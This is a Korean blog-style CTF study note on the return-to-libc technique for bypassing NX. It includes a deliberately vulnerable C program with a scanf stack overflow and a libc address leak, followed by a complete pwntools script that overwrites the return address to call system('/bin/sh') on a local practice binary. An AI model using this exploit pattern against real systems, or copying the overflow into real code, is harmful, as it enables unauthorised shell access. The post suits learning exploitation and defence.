-
RTL(Return-to-libc)CTF/PWNABLE 2021. 1. 16. 03:55
Constraint 제약 조건
- Libc base address(라이브러리에 존재하는 gadget을 사용하기 위해)
- Stack buffer overflow(지역 변수에서의 overflow를 이용해 ret를 gadget의 주소로 조작)
- Function Epilogue(함수가 exit(0)등을 통해 종료될 경우 ret을 호출하지 않으므로)
PRELIMINARY 서론
NX bit(No-eXecute bit)는 실행해야 할 명령어가 존재하는 코드 영역과 데이터가 저장되는 영역의 실행 권한을 분리하고자 도입된 기술이다. NX 특성으로 지정된 메모리 영역은 데이터 저장을 위해서만 사용되므로 buffer overflow를 통한 공격을 어렵게 한다.
위와 같이 NX bit가 적용된 바이너리를 vmmap을 통해 분석해 본 결과 스택 영역에 실행 권한이 없음을 확인할 수 있다. 이러한 파일에 단순히 스택에 shellcode를 삽입하는 방식의 공격을 시도할 경우 segmentation fault와 함께 실패하게 된다.
Return-to-libc
특정 언어의 기본적인 기능 수행에 필요한 함수와 변수를 모아놓은 모듈을 라이브러리라고 한다. 라이브러리 함수가 포함된 코드가 실행되면, 필요한 라이브러리를 프로세스의 가상공간에 매핑해서 실행되는 바이너리와 같은 공간을 사용하게 된다. 따라서 프로그램의 실행 도중 return address를 조작해 라이브러리의 주소를 가리키도록 할 수 있다면, execve나 system과 같이 라이브러리에 이미 존재하는 함수를 이용해 쉘을 실행할 수 있을 것이다.
RTL은 NX-bit를 우회하기 위해 등장한 기법이다. 스택에 쉘코드를 삽입해 실행하는 기존의 방법이 권한 분리로 인해 불가능해진 대신, 실행 권한이 있는 영역에 존재하는 라이브러리를 호출하여 공격을 진행하는 것이 주 목표이다.
METHOD 방법
다음은 지역 변수 buf에서 overflow가 발생하는 코드이다.
int main() { char buf[0x80]; printf("stdout: %p\n", stdout); // libc address leak scanf("%200s", buf); // stack buffer overflow return 0; }
stdout 변수는 메모리에 매핑된 라이브러리의 stdout 함수의 주소를 가리키고 있다. 라이브러리가 매핑되는 주소는 매번 다르지만 라이브러리 내부에서 각 함수의 위치는 일정하기 때문에, stdout 함수의 offset과 실제 주소를 바탕으로 libc base address를 구할 수 있다.
p = process("./l0tus") l = ELF("./libc.so.6") p.recvuntil("stdout: ") stdout = int(p.recv(14), 16) libc = stdout - l.symbols["_IO_2_1_stdout_"]
공격을 위해 호출할 함수는 system("/bin/sh")이므로 라이브러리 내부에 존재하는 system 함수와 "/bin/sh" 문자열의 주소를 계산해 주자.
system = libc + l.symbols["system"] binsh = libc + next(l.search(b"/bin/sh"))
이제 return address를 system 함수의 주소로 덮어쓴 다음 인자로 binsh 문자열의 주소를 넣어주면 스택은 다음과 같은 상태가 된다.
RET Overwrite을 통해 위와 같이 값을 변경해 주면 main 함수가 종료된 이후 system("/bin/sh")가 실행되면서 쉘을 취득할 수 있다.
Code
더보기from pwn import * p = process("./l0tus") l = ELF("./libc.so.6") p.recvuntil("stdout: ") stdout = int(p.recv(14), 16) libc = stdout - l.symbols["_IO_2_1_stdout_"] system = libc + l.symbols["system"] binsh = libc + next(l.search(b"/bin/sh")) buf_size = 0x80 payload = b"A"*(buf_size + 4) payload += p32(system) payload += b"A"*4 payload += p32(binsh) p.sendline(payload) p.interactive()
'CTF > PWNABLE' 카테고리의 다른 글
Problemset 문제 모음 (0) 2021.01.21 Introduction to pwnable 시스템해킹 개론 (0) 2021.01.20 Stack address leak (0) 2021.01.14 hook Overwrite (0) 2021.01.14 RET Overwrite (0) 2021.01.08